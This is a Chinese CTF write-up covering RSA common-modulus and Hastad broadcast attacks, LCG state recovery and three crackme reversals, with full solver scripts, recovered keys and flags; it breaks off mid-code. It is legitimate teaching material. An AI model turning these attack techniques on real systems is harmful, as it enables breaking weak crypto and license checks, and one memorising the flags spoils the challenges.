OSINT

关注一下公众号即可。

Crypto

Cry_01.Twin Orbit / 双轨加密

题目信息

项目 内容
比赛来源 零重力
题目分类 Crypto
题目名称 Cry_01.Twin Orbit / 双轨加密
附件 twin_orbit.zip
附件 SHA256 F052DDBC917F2CE74336B4C7D9AB505E2CD91FB2182F0E3BFBAE65200B44BB50
Flag 格式 flag{…}

题面给出两个 RSA 公钥复用了同一个模数 n,指数分别为 e1 = 65537e2 = 17。两条轨道传输的是同一份核心指令,也就是同一个明文被两个不同指数加密。

解题思路

附件中有 encrypt.pyoutput.txtREADME.txt。先看 encrypt.py,可以确认加密逻辑非常直接:

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import bytes_to_long

def encrypt_message(flag: bytes, n: int):
m = bytes_to_long(flag)

e1 = 65537
e2 = 17

c1 = pow(m, e1, n)
c2 = pow(m, e2, n)

return e1, e2, c1, c2

这里没有 padding,也没有额外编码。两个密文满足:

1
2
c1 = m^e1 mod n
c2 = m^e2 mod n

当两个指数互素时,可以用扩展欧几里得找到整数 ab,使:

1
a * e1 + b * e2 = 1

那么:

1
c1^a * c2^b = m^(a*e1) * m^(b*e2) = m^(a*e1+b*e2) = m mod n

这就是 RSA 共模攻击。当前题目中:

1
65537 * (-8) + 17 * 30841 = 1

所以需要计算:

1
m = c1^(-8) * c2^30841 mod n

负指数部分不能直接当普通幂处理,需要先求 c1 在模 n 下的逆元。由于 gcd(c1, n) = 1,逆元存在。

关键命令

1
2
3
D:\CaptureTheFlag\CTFTool\7-Zip\7z.exe l twin_orbit.zip
D:\CaptureTheFlag\CTFTool\7-Zip\7z.exe x evidence\twin_orbit.zip -ooutputs\twin_orbit -y
python scripts\solve.py

完整关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from math import gcd


def egcd(a: int, b: int) -> tuple[int, int, int]:
if b == 0:
return a, 1, 0
g, x1, y1 = egcd(b, a % b)
return g, y1, x1 - (a // b) * y1


def long_to_bytes(value: int) -> bytes:
return value.to_bytes((value.bit_length() + 7) // 8, "big")


def main() -> None:
n = 78429219359517922271023478963814594552681246043944770910304760471867765174623304038843626799213010074714647155283331308571847776870166597053823412781788611608177305819593874012686298378748721435009046767613360191457980203020570462985478543330425482286818857391023923223033155751757576833456411434713984471383
e1 = 65537
e2 = 17
c1 = 71282312105868131740394478794008286284074152062907735987516077413351604126882776234623911447307962528308126218712123568701353026231889282844009867916343556840839139885445525543186695511199429927944296268193188530317628821728534582820389657490317666947095834711636160892093284048993666399747630728635978820198
c2 = 70751964066395185933408819650408191047287659276501425712138199434404000627978244880544478152411510337684996008892030606559772725285766060014956720285732207231186134371296910276169402781919701351782279058927891124229021162906608266092058475936622126108377526917909078829421351716554783863514592590874754685769

g, a, b = egcd(e1, e2)
assert g == 1

part1 = pow(c1, a, n) if a >= 0 else pow(pow(c1, -1, n), -a, n)
part2 = pow(c2, b, n) if b >= 0 else pow(pow(c2, -1, n), -b, n)
m = (part1 * part2) % n

flag = long_to_bytes(m).decode()
assert gcd(c1, n) == 1 and gcd(c2, n) == 1
assert pow(m, e1, n) == c1
assert pow(m, e2, n) == c2
assert flag.startswith("flag{") and flag.endswith("}")

print(f"a = {a}, b = {b}")
print(flag)


if __name__ == "__main__":
main()

验证输出

运行脚本得到:

1
2
a = -8, b = 30841
flag{ZeroG_common_modulus_attack}

脚本中同时做了两条回代验证:

1
2
assert pow(m, e1, n) == c1
assert pow(m, e2, n) == c2

这说明恢复出的明文确实同时对应附件给出的两条轨道密文。

知识点总结

RSA 共模攻击的前提是同一个明文使用同一个模数 n,但用了互素的不同公钥指数进行加密。此时不用分解 n,只要利用扩展欧几里得把两个指数线性组合成 1,就能把两个密文组合回原始明文。

实现时最需要注意的是负系数。负指数表示模逆元幂,因此必须先确认对应密文与 n 互素,再使用模逆元参与计算。

最终 flag

1
flag{ZeroG_common_modulus_attack}

Cry_02.Lunar LCG / 月面伪随机

题目信息

项目 内容
比赛来源 零重力
题目分类 Crypto
题目名称 Cry_02.Lunar LCG / 月面伪随机
题面 ZeroG 月面中继站使用一个轻量级伪随机数发生器生成通信密钥流。开发人员说:“我们没有直接使用固定密钥,而是每次用随机数发生器生成密钥流,应该足够安全。” Fen 查看遥测日志后发现,中继站在加密前泄露了几次连续的 PRNG 状态。请分析附件,恢复密钥流并解出 flag。
附件 lunar_lcg.zip
Flag 格式 flag{...}
附件 SHA256 3DBE071242C3D47BA22A5891D920CFF48A9F7157C87F36F439B0A8AB256DA0E7

解题思路

附件很简洁,只有 README.txtoutput.txtencrypt.py。这类题最适合先看实现,再决定是从密文入手还是从状态泄露入手。

读完 encrypt.py 后可以确认,题目用的是标准线性同余生成器 LCG。每次先更新内部状态,再取新状态的最低 8 位作为一个字节的密钥流,然后对明文逐字节异或。

题面已经提醒了关键点:连续的 PRNG 状态泄露足够恢复参数。既然 output.txt 里直接给出了多个连续 state,那么不需要猜测密文结构,也不需要爆破种子,直接从递推公式反推 ac 就够了。

技术实施

先看加密核心逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
class LunarLCG:
def __init__(self, m, a, c, state):
self.m = m
self.a = a
self.c = c
self.state = state

def next_state(self):
self.state = (self.a * self.state + self.c) % self.m
return self.state

def next_byte(self):
return self.next_state() & 0xff

output.txt 给出了模数 m、6 个连续泄露状态,以及最终密文:

1
2
3
4
5
6
7
8
9
10
m = 170141183460469231731687303715884105727
leak_states = [
48077378362307815584689819960136019875,
100310108693164117002347749113390493183,
145646689101109657050476193569066602802,
63949818470656288394594660187785964270,
46314465195318558087862397882705709486,
103138436636073932218183299598776830813,
]
ciphertext = 39fe07de62fdc9bf74bbbcbd7e202386ca9e40451b46c74968e30fff138a95

LCG 满足:

1
state[i + 1] = a * state[i] + c mod m

用前三个状态就能直接解出参数。把式子写开:

1
2
state1 = a * state0 + c mod m
state2 = a * state1 + c mod m

两式相减可得:

1
state2 - state1 = a * (state1 - state0) mod m

所以:

1
2
a = (state2 - state1) * (state1 - state0)^(-1) mod m
c = state1 - a * state0 mod m

代入之后得到:

1
2
a = 47706504925832043350690201375217556277
c = 106332766362414553063251587032479728762

接着把这组参数代回去检查所有泄露状态,6 个状态之间的递推全部成立,说明参数恢复无误。

由于题目说泄露发生在加密前,而且 next_byte() 每次都会先 next_state(),所以恢复密钥流时应该从最后一个泄露状态继续往前推,生成与密文等长的字节流,再逐字节异或。

最终解密结果直接落成标准 flag:

1
flag{ZeroG_lcg_stream_recovery}

关键命令

1
2
D:\CaptureTheFlag\CTFTool\7-Zip\7z.exe x -y lunar_lcg.zip -oevidence
python .\scripts\solve.py

完整关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from ast import literal_eval
from pathlib import Path


ROOT = Path(__file__).resolve().parents[1]
OUTPUT = ROOT / "evidence" / "output.txt"


def parse_output(path: Path) -> tuple[int, list[int], bytes]:
text = path.read_text(encoding="utf-8")

m_line = next(line for line in text.splitlines() if line.startswith("m = "))
m = int(m_line.split("=", 1)[1].strip())

states_block = text.split("leak_states =", 1)[1].split("ciphertext =", 1)[0].strip()
states = list(literal_eval(states_block))

ct_line = next(line for line in text.splitlines() if line.startswith("ciphertext = "))
ciphertext = bytes.fromhex(ct_line.split("=", 1)[1].strip())

return m, states, ciphertext


def recover_lcg_params(m: int, states: list[int]) -> tuple[int, int]:
if len(states) < 3:
raise ValueError("need at least 3 consecutive states")

s0, s1, s2 = states[:3]
numerator = (s2 - s1) % m
denominator = (s1 - s0) % m
a = (numerator * pow(denominator, -1, m)) % m
c = (s1 - a * s0) % m
return a, c


def keystream_from_state(m: int, a: int, c: int, state: int, length: int) -> bytes:
out = bytearray()
for _ in range(length):
state = (a * state + c) % m
out.append(state & 0xFF)
return bytes(out)


def main() -> None:
m, states, ciphertext = parse_output(OUTPUT)
a, c = recover_lcg_params(m, states)

for i in range(len(states) - 1):
assert (a * states[i] + c) % m == states[i + 1]

ks = keystream_from_state(m, a, c, states[-1], len(ciphertext))
plaintext = bytes(x ^ y for x, y in zip(ciphertext, ks))
flag = plaintext.decode("ascii")

assert flag.startswith("flag{") and flag.endswith("}")

print(f"a = {a}")
print(f"c = {c}")
print(f"flag = {flag}")


if __name__ == "__main__":
main()

验证输出

运行脚本后得到:

1
2
3
a = 47706504925832043350690201375217556277
c = 106332766362414553063251587032479728762
flag = flag{ZeroG_lcg_stream_recovery}

其中脚本还会逐项断言所有泄露状态都满足同一组 LCG 参数,因此不是只撞对了一个明文前缀,而是完整复原了生成器。

知识点总结

这题的关键不是“LCG 不安全”这句结论本身,而是要看到连续状态泄露已经把问题从伪随机分析降成了模逆运算。只要 m 已知,并且 state1 - state0 在模 m 下可逆,就能从三个连续状态直接恢复 ac

遇到这类题时,优先确认泄露的是内部 state、输出值还是截断值。如果拿到的是完整连续 state,通常应该先走参数恢复,再谈 keystream 和解密,效率会高很多。

最终 flag

1
flag{ZeroG_lcg_stream_recovery}

Cry_03.Phobos Padding / 火卫一填充

题目信息

项目 内容
比赛来源 零重力
题目分类 Crypto
题目名称 Cry_03.Phobos Padding / 火卫一填充
附件 player_phobos_padding.zip
附件 SHA256 0A746A2C32E7C82336B9C8121C8B976D32193C3C8AA1283DA3FDDA195200C5E9
Flag 格式 flag{…}

题面给出同一份核心指令被发送给三个不同接收端。每个接收端使用不同 RSA 模数 n,但都使用很小的公钥指数 e = 3,并且没有 padding。这个组合正好对应 Hastad broadcast attack,也就是 RSA 低指数广播攻击。

解题思路

附件中仍然是 README.txtencrypt.pyoutput.txt。先看加密脚本,可以确认它把同一个明文整数 m 分别对三个不同模数做 raw RSA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import bytes_to_long

def encrypt(flag: bytes, public_keys):
"""
public_keys:
[
(n1, e),
(n2, e),
(n3, e),
]

Warning:
This demo intentionally uses raw RSA without padding.
"""
m = bytes_to_long(flag)

result = []

for n, e in public_keys:
c = pow(m, e, n)
result.append((n, e, c))

return result

也就是说有三组同余:

1
2
3
c1 = m^3 mod n1
c2 = m^3 mod n2
c3 = m^3 mod n3

三个模数两两互素时,可以用中国剩余定理合并这三组同余,得到唯一的:

1
x = m^3 mod (n1 * n2 * n3)

如果明文足够短,满足 m^3 < n1 * n2 * n3,那么这个 x 就不只是模意义下的值,而是整数意义上的 m^3。因此对 x 开整数三次方即可恢复明文。

技术实施

先检查三个模数是否两两互素:

1
2
3
gcd(n1, n2) = 1
gcd(n1, n3) = 1
gcd(n2, n3) = 1

互素条件成立后,使用 CRT 合并三个密文。合并结果开三次方时必须做精确性验证,避免把近似浮点开方误当成整数根。本题开出的根满足:

1
m^3 == CRT(c1, c2, c3)

并且回代到三组 RSA 加密中也全部成立:

1
2
3
assert pow(m, 3, n1) == c1
assert pow(m, 3, n2) == c2
assert pow(m, 3, n3) == c3

关键命令

1
2
3
D:\CaptureTheFlag\CTFTool\7-Zip\7z.exe l player_phobos_padding.zip
D:\CaptureTheFlag\CTFTool\7-Zip\7z.exe x evidence\player_phobos_padding.zip -ooutputs\player_phobos_padding -y
python scripts\solve.py

完整关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from math import gcd


def crt(remainders: list[int], moduli: list[int]) -> int:
modulus_product = 1
for modulus in moduli:
modulus_product *= modulus

result = 0
for remainder, modulus in zip(remainders, moduli):
partial = modulus_product // modulus
inverse = pow(partial, -1, modulus)
result += remainder * partial * inverse

return result % modulus_product


def integer_nth_root(value: int, n: int) -> tuple[int, bool]:
low, high = 0, 1
while high**n <= value:
high *= 2

while low + 1 < high:
mid = (low + high) // 2
powered = mid**n
if powered <= value:
low = mid
else:
high = mid

return low, low**n == value


def long_to_bytes(value: int) -> bytes:
return value.to_bytes((value.bit_length() + 7) // 8, "big")


def main() -> None:
e = 3

n1 = 9203118261705868019110006623273896134322296004495934622126321588206198211590594608536574205500841860912183113474492528101942483463604127057100041845594123
c1 = 225326225723570437926892098700724301640108952320044616725184090895511961737080288471190011942447422341235122945729017303171992927231675218640713872178033

n2 = 8218974785294030613346971087108222043759818458429043768635262660088269400867661193359046399568686339887944628791712180696779799918022646158973494803220299
c2 = 3407676048044393024576659577470571794093695115844258472643168272782162860244002027327745232045383478691907846926814490953793141526176684717238078901972654

n3 = 8640442409248695297781745462901828098989267118787634310572918885729221856234292677073935037333836295724444289085611427540896246989248186559475612627680863
c3 = 6492260343134932927953198433174002823828534869771319070490239692685600132982822403083735209163800494671140850876058194194328293660168048521787716473266503

moduli = [n1, n2, n3]
ciphertexts = [c1, c2, c3]

assert gcd(n1, n2) == gcd(n1, n3) == gcd(n2, n3) == 1

m_power_e = crt(ciphertexts, moduli)
m, exact = integer_nth_root(m_power_e, e)
assert exact
assert m**e < n1 * n2 * n3
assert all(pow(m, e, n) == c for n, c in zip(moduli, ciphertexts))

flag = long_to_bytes(m).decode()
assert flag.startswith("flag{") and flag.endswith("}")
print(flag)


if __name__ == "__main__":
main()

验证输出

运行脚本得到:

1
flag{ZeroG_hastad_broadcast_attack}

脚本中已经验证三个模数两两互素、CRT 合并结果可以精确开三次方,并且恢复出的明文回代三组密文均成立。

知识点总结

Hastad broadcast attack 的关键条件是同一明文、相同小指数、不同且互素的模数、无 padding。当收集到至少 e 组密文时,可以通过 CRT 合并出 m^e,再开整数 e 次方恢复明文。

安全的 RSA 加密不能直接对明文做裸 RSA 幂运算,应使用带随机性的安全填充方案。没有 padding 时,即使每个接收端的模数不同,相同明文的低指数广播仍然会直接泄露内容。

最终 flag

1
flag{ZeroG_hastad_broadcast_attack}

Reverse

Re_01.Docking Check / 对接口令校验

题目信息

项目 内容
比赛来源 零重力
题目分类 Reverse
题目名称 Re_01.Docking Check / 对接口令校验
附件 dock_check.zip
附件 SHA256 799AC6CBA33AB23038C977C25994B4A9B7E70B9389CF199CAAA1A9C09604980D
Flag 格式 flag{…}

题面描述 ZeroG 空间站的对接舱需要输入授权口令,并提示重点在字节级变换分析,涉及 rolxoradd 等简单可逆运算。这个提示已经把方向指向了静态分析校验循环,再从校验常量反推输入。

解题思路

附件解压后得到 stripped 的 64 位 PIE ELF 程序 dock_checkREADME.txt。README 明确给出运行方式和 flag 格式:

1
2
3
4
5
chmod +x dock_check
./dock_check

Flag format:
flag{...}

先用 strings 查看程序中的提示字符串,可以看到:

1
2
3
4
ZeroG Docking Authorization
Input token:
[-] Access denied.
[+] Docking sequence unlocked.

说明程序是一个本地口令校验器。继续查看 .rodata,在提示字符串后方发现一段 28 字节的非文本常量:

1
774c3ad6e027d53314d6fae9e037297e3d946db37a56a0babf07a37b

结合题面“从校验常量反推 flag”的提示,这段数据就是最终比较目标。

技术实施

主逻辑位于 .text0x10e00x1284 附近。程序通过 fgets 读取输入,去掉末尾换行后要求字符串长度为 28。随后进入逐字节校验循环,循环次数也正好是 0x1c,也就是 28 次。

校验循环的初始状态如下:

1
2
3
state = 0x3c
xor_key = 0x06
add_key = 0x17

每轮处理一个输入字节,逻辑可以还原为:

1
2
3
4
5
6
value = input[i] ^ xor_key
value = value + add_key
value = rol8(value, (i % 7) + 1)
value = value ^ 0xa5
state = state ^ value
state == check[i]

每轮结束后,两个 key 继续递增:

1
2
xor_key += 0x0d
add_key += 0x11

这里所有操作都发生在字节范围内,而且 xoraddrol 都可逆。因此可以从 check[i] 和上一轮的 state 反推当前输入字节:

1
2
3
after_rol = (state ^ check[i]) ^ 0xa5
before_rol = ror8(after_rol, (i % 7) + 1)
input[i] = (before_rol - add_key) ^ xor_key

关键命令

1
2
3
4
D:\CaptureTheFlag\CTFTool\7-Zip\7z.exe l dock_check.zip
D:\CaptureTheFlag\CTFTool\7-Zip\7z.exe x dock_check.zip -oevidence -y
wsl bash -lc "file evidence/dock_check && objdump -s -j .rodata evidence/dock_check"
python scripts\solve.py

完整关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
CHECK = bytes.fromhex("774c3ad6e027d53314d6fae9e037297e3d946db37a56a0babf07a37b")


def rol8(value: int, count: int) -> int:
count &= 7
return ((value << count) | (value >> (8 - count))) & 0xFF


def ror8(value: int, count: int) -> int:
count &= 7
return ((value >> count) | (value << (8 - count))) & 0xFF


def recover() -> bytes:
state = 0x3C
xor_key = 0x06
add_key = 0x17
plain = []

for index, expected in enumerate(CHECK):
rotate = (index % 7) + 1
after_rol = (state ^ expected) ^ 0xA5
before_rol = ror8(after_rol, rotate)
ch = ((before_rol - (add_key & 0xFF)) & 0xFF) ^ (xor_key & 0xFF)
plain.append(ch)

state = expected
xor_key = (xor_key + 0x0D) & 0xFFFFFFFF
add_key = (add_key + 0x11) & 0xFFFFFFFF

return bytes(plain)


def encode(token: bytes) -> bytes:
state = 0x3C
xor_key = 0x06
add_key = 0x17
out = []

for index, ch in enumerate(token):
value = ch ^ (xor_key & 0xFF)
value = (value + (add_key & 0xFF)) & 0xFF
value = rol8(value, (index % 7) + 1)
value ^= 0xA5
state ^= value
out.append(state)

xor_key = (xor_key + 0x0D) & 0xFFFFFFFF
add_key = (add_key + 0x11) & 0xFFFFFFFF

return bytes(out)


def main() -> None:
token = recover()
assert encode(token) == CHECK
print(token.decode("ascii"))


if __name__ == "__main__":
main()

验证输出

运行反推脚本得到:

1
flag{ZeroG_vm_docking_check}

将脚本输出直接输入原始程序,程序返回成功提示:

1
2
ZeroG Docking Authorization
Input token: [+] Docking sequence unlocked.

知识点总结

这题是典型的字节级可逆校验。遇到这类逻辑时,先不要急着爆破输入,而是从成功输出和失败输出回溯主校验循环,再找固定常量表和每轮状态更新。

只要确认每一步都是可逆运算,就能按照相反顺序恢复输入。这里的关键细节有两个:一是 rol 的位数来自 (index % 7) + 1,二是最终比较的不是单轮变换结果,而是与滚动 state 异或后的结果。因此反推时每轮要先用上一轮的 state 解出当前变换值,再把 state 更新成当前校验常量。

最终 flag

1
flag{ZeroG_vm_docking_check}

Re_02.Lunar License / 许可证算法逆向

题目信息

项目 内容
比赛来源 零重力
题目分类 Reverse
题目名称 Re_02.Lunar License / 许可证算法逆向
附件 lunar_license.zip
附件 SHA256 7B0D67D281237AB41D074D1581ADBE73E2788008A7CC0DA01EE2ACC7B6E51E06
Flag 格式 flag{…}

附件中包含 README.txt 和一个被 strip 过的 Linux ELF 程序 lunar_license。README 写得很直接:程序会检查一个 32 位十六进制许可证,也就是 16 字节原始数据,目标是恢复正确许可证并拿到 flag。

解题思路

先做轻量静态分析。strings 能看到程序提示:

1
2
3
4
5
6
ZeroG Lunar Authorization System
Enter license (32 hex chars):
[-] Invalid license format.
[-] License rejected.
[+] License accepted.
[+] Flag:

objdump -s -j .rodata 显示 .rodata 只有 0x100 字节,字符串后面只剩两段高熵常量,因此这题最重要的材料基本都藏在 .rodata 中。

反汇编主逻辑后可以把流程拆成两段。前一段读取输入,要求长度必须是 32 个十六进制字符,然后每两个字符解成一个字节,总共得到 16 字节许可证。后一段逐字节执行状态机校验:把许可证字节和状态字节异或,按一个由索引决定的旋转次数做循环移位,再叠加两个滚动常量,最后与 .rodata + 0x20f0 的 16 字节目标表比较。只要有一个字节不匹配就直接拒绝。

因为最终比较目标表已经暴露出来,这个校验不需要爆破,而是可以逐字节反推。每轮只涉及一个目标字节、一个状态字节和当前滚动常量,因此可以把比较式直接求逆,恢复出 16 个原始许可证字节。

技术实施

程序里能提取出两段关键常量。第一段是许可证校验目标表:

1
b4 68 6e bd eb fd 0d c7 b7 86 ac 6d 3a 2e 68 8d

第二段是 flag 密文:

1
2
96 e8 7f 67 b5 88 b1 70 ad d8 31 1b 07 ca d4 b9
ff b8 07 33 9b 6c 57 97 4d dd 5b 71 67 86 f6 7a 3c 59

状态机初始参数如下:

1
2
3
state = 0x4c554e52
add_value = 0x27
xor_value = 0x00

每个许可证字节的校验逻辑可以整理为:

1
2
3
4
5
state_byte = (state >> ((index & 3) * 8)) & 0xff
count = rotation_count(index)
mixed = rol8(state_byte ^ license_byte, count)
result = ((mixed + add_value) & 0xff) ^ xor_value ^ 0x5c
assert result == target[index]

其中 rotation_count(index) 并不是简单的 index % n,而是通过魔数乘法 0xCCCCCCCCCCCCCCCD 构造出来的状态机计数。把这段汇编精确翻译成 Python 后,就能稳定复现每一轮的旋转次数。

由于 target[index] 已知,上面的等式可以直接求逆:

1
2
rotated = (target[index] ^ xor_value ^ 0x5c) - add_value
license_byte = ror8(rotated, count) ^ state_byte

逐字节反推 16 轮后,恢复出的许可证为:

1
b2cb4269b851449f6828aaa6ac4f4dce

程序在每轮校验通过后还会更新状态:

1
2
3
state = rol32(target_byte ^ state ^ 0xa5a5a5a5, 7) + 0x13371337
add_value += 0x13
xor_value += 0x07

这也是为什么必须严格按顺序逐轮求解,而不是把 16 个字节拆开独立处理。

校验全部通过后,程序会用恢复出的 16 字节许可证去解 .rodata + 0x20c0 的 flag 密文。解密逻辑也不复杂:密文字节先与一个从 0x42 开始、每轮增加 0x0d 的滚动值异或,再与许可证按 16 字节循环异或,最终还原出 flag。

关键命令

1
2
3
4
5
6
D:\CaptureTheFlag\CTFTool\7-Zip\7z.exe l lunar_license.zip
D:\CaptureTheFlag\CTFTool\7-Zip\7z.exe x .\lunar_license.zip -o.\evidence -y
wsl bash -lc "cd '/mnt/c/Users/glj07/Desktop/Codex工作区/Writeup/CTF/零重力/Reverse/Re_02.Lunar License' && objdump -d -M intel evidence/lunar_license"
wsl bash -lc "cd '/mnt/c/Users/glj07/Desktop/Codex工作区/Writeup/CTF/零重力/Reverse/Re_02.Lunar License' && objdump -s -j .rodata evidence/lunar_license"
python .\scripts\solve.py
wsl bash -lc "cd '/mnt/c/Users/glj07/Desktop/Codex工作区/Writeup/CTF/零重力/Reverse/Re_02.Lunar License' && printf 'b2cb4269b851449f6828aaa6ac4f4dce\n' | evidence/lunar_license"

完整关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
def rol8(value, count):
count &= 7
value &= 0xFF
if count == 0:
return value
return ((value << count) | (value >> (8 - count))) & 0xFF


def ror8(value, count):
count &= 7
value &= 0xFF
if count == 0:
return value
return ((value >> count) | (value << (8 - count))) & 0xFF


def rol32(value, count):
count &= 31
value &= 0xFFFFFFFF
return ((value << count) | (value >> (32 - count))) & 0xFFFFFFFF


def rotation_count(index):
"""Emulate the stripped binary's magic-multiply state-machine count."""
magic = 0xCCCCCCCCCCCCCCCD
product = index * magic
high = product >> 64
folded = (high & 0xFFFFFFFFFFFFFFFC) + (high >> 2)
return (index - folded + 1) & 0xFF


def recover_license():
target = bytes.fromhex("b4686ebdebfd0dc7b786ac6d3a2e688d")
state = 0x4C554E52
add_value = 0x27
xor_value = 0
out = []

for index, expected in enumerate(target):
state_byte = (state >> ((index & 3) * 8)) & 0xFF
count = rotation_count(index)
rotated = (expected ^ (xor_value & 0xFF) ^ 0x5C) - (add_value & 0xFF)
license_byte = ror8(rotated, count) ^ state_byte

check = (rol8(state_byte ^ license_byte, count) + (add_value & 0xFF)) & 0xFF
check ^= xor_value & 0xFF
check ^= 0x5C
assert check == expected

out.append(license_byte)

next_state = expected ^ state ^ 0xA5A5A5A5
state = (rol32(next_state, 7) + 0x13371337) & 0xFFFFFFFF
add_value = (add_value + 0x13) & 0xFFFFFFFF
xor_value = (xor_value + 0x07) & 0xFFFFFFFF

return bytes(out)


def decrypt_flag(license_bytes):
encrypted = bytes.fromhex(
"96e87f67b588b170add8311b07cad4b9"
"ffb807339b6c57974ddd5b716786f67a3c59"
)
rolling = 0x42
out = []
for index, value in enumerate(encrypted):
out.append(value ^ (rolling & 0xFF) ^ license_bytes[index & 0xF])
rolling = (rolling + 0x0D) & 0xFFFFFFFF
return bytes(out)


def main():
license_bytes = recover_license()
flag = decrypt_flag(license_bytes).decode()
print(f"license_hex = {license_bytes.hex()}")
print(f"flag = {flag}")


if __name__ == "__main__":
main()

验证输出

恢复脚本输出:

1
2
license_hex = b2cb4269b851449f6828aaa6ac4f4dce
flag = flag{ZeroG_lunar_license_reversal}

把恢复出的许可证直接喂给原程序后,程序输出:

1
2
3
ZeroG Lunar Authorization System
Enter license (32 hex chars): [+] License accepted.
[+] Flag: flag{ZeroG_lunar_license_reversal}

知识点总结

这题非常适合练 stripped ELF 的轻量逆向思路。程序虽然没有符号,但 .rodata 很小、校验逻辑按字节展开,因此完全没必要一开始就上重型反编译器。先看字符串,再看常量表,最后围绕比较点写出可逆公式,通常会比在反汇编窗口里硬啃控制流更快。

另一个关键点是把“状态机”拆成两个层面来看:单字节可逆变换和跨轮状态更新。前者负责直接求出每一位许可证,后者保证每一轮上下文不同。把这两层分开翻译之后,恢复脚本就会非常清晰。

最终 flag

1
flag{ZeroG_lunar_license_reversal}

Re_03.Nebula Patch / 星云补丁

题目信息

项目 内容
比赛来源 零重力
题目分类 Reverse
题目名称 Re_03.Nebula Patch / 星云补丁
附件 nebula_patch.zip
附件 SHA256 0669C03109929EDC4DDFF0DDC7E05DC030EC7606DCD3AB5D8AD6D5889C3B6501
Flag 类型 静态 flag
Flag 格式 flag{...}

题面说星云模块内置许可证校验逻辑,并刻意加入了反调试与多层判断。Fen 留下的提示“如果星云不让你观察它,那就改变观测路径”,很适合用来提示静态拆逻辑而不是硬跟调试器。

解题思路

附件里只有一个 stripped 的 64 位 ELF 程序 nebula_patch 和简短说明。先做基础摸底后可以确认它确实是 ELF 64-bit LSB pie executable, x86-64, stripped, dynamically linked,而且字符串里已经暴露了几个关键提示:Nebula distortion detected.Nebula gate collapsed.Access granted.

既然题面已经提前警告有反调试,就不把精力耗在和调试器正面对抗上,而是直接把主流程和校验流程静态拆开。这样能更快看到哪些逻辑真的影响结果,哪些只是烟雾弹。

技术实施

程序前面先做两层反调试。第一层是 ptrace(PTRACE_TRACEME, ...),第二层读取 /proc/self/status 并检查 TracerPid: 是否为 0。只要发现调试痕迹,就会输出:

1
[!] Nebula distortion detected.

主逻辑里还有一个看起来像关键分支的块,但那段计算出来的低字节固定是 0xD4,然后又拿去和 0x42 比较,所以通往:

1
[!] Nebula gate collapsed.

的路径其实是死分支,真正分析时可以直接略过。

真正的输入校验使用 fgets 读取字符串,去掉尾部换行后要求长度必须等于 0x12,也就是 18 个字符。目标字节位于 .rodata0x2110

1
04 8e b3 88 fa 73 d9 1f 81 04 8b 0c aa 3a 56 a1 37 85

校验循环的初始状态是:

1
2
3
acc = 0x6d
r9 = 0x67
r10 = 0x17

每轮的核心变换可以整理成:

1
2
3
4
5
6
tmp = rol8(input[i] ^ (r9 & 0xff), (i % 6) + 1)
tmp = (tmp + (r10 & 0xff)) & 0xff
acc ^= tmp
assert acc == target[i]
r9 += 0x0b
r10 += 0x17

因为每轮都会把 acc 直接和目标字节比较,所以可以逆着推回输入:

1
2
3
z = acc ^ target[i]
y = (z - (r10 & 0xff)) & 0xff
input[i] = ror8(y, (i % 6) + 1) ^ (r9 & 0xff)

恢复出的正确口令是:

1
Nebula-7F3A-Vector

口令校验通过后,程序会继续进入 flag 生成逻辑。它会先把口令喂进一段 32 位状态更新过程,生成种子:

1
2
3
4
5
6
7
8
9
10
11
12
esi = 0x9E3779B9
edi = 0x4E42554C

for i, b in enumerate(passcode_bytes):
eax = (b << ((i & 3) * 8)) & 0xffffffff
eax ^= edi
eax = (eax + esi) & 0xffffffff
esi = (esi + 0x045D9F3B) & 0xffffffff
eax = rol32(eax, 5)
edi = eax ^ 0x7F4A7C15

seed = eax ^ 0xBF4BAC18

代入口令后得到:

1
0x8887cf28

随后程序用这个种子驱动 xorshift32,每 4 字节刷新一次状态,再和递增掩码异或解密 .rodata 中的 flag 密文:

1
9d270153e1de3787561d569097d80ab42ed5a79b67e355a915f33bcfe93e6d5707af

解码公式可以写成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def xorshift32(x):
x ^= (x << 13) & 0xffffffff
x ^= (x >> 17) & 0xffffffff
x ^= (x << 5) & 0xffffffff
return x & 0xffffffff


eax = seed
edi = 0x42

for i, enc in enumerate(flag_data):
if (i & 3) == 0:
eax = xorshift32(eax)
out[i] = enc ^ (edi & 0xff) ^ ((eax >> ((i & 3) * 8)) & 0xff)
edi += 0x0d

最终可解出静态 flag。

关键命令

1
2
D:\CaptureTheFlag\CTFTool\7-Zip\7z.exe x -y nebula_patch.zip -oevidence
python .\scripts\solve.py

完整关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pathlib import Path


PASS_TARGET = bytes.fromhex("048eb388fa73d91f81048b0caa3a56a13785")
FLAG_DATA = bytes.fromhex(
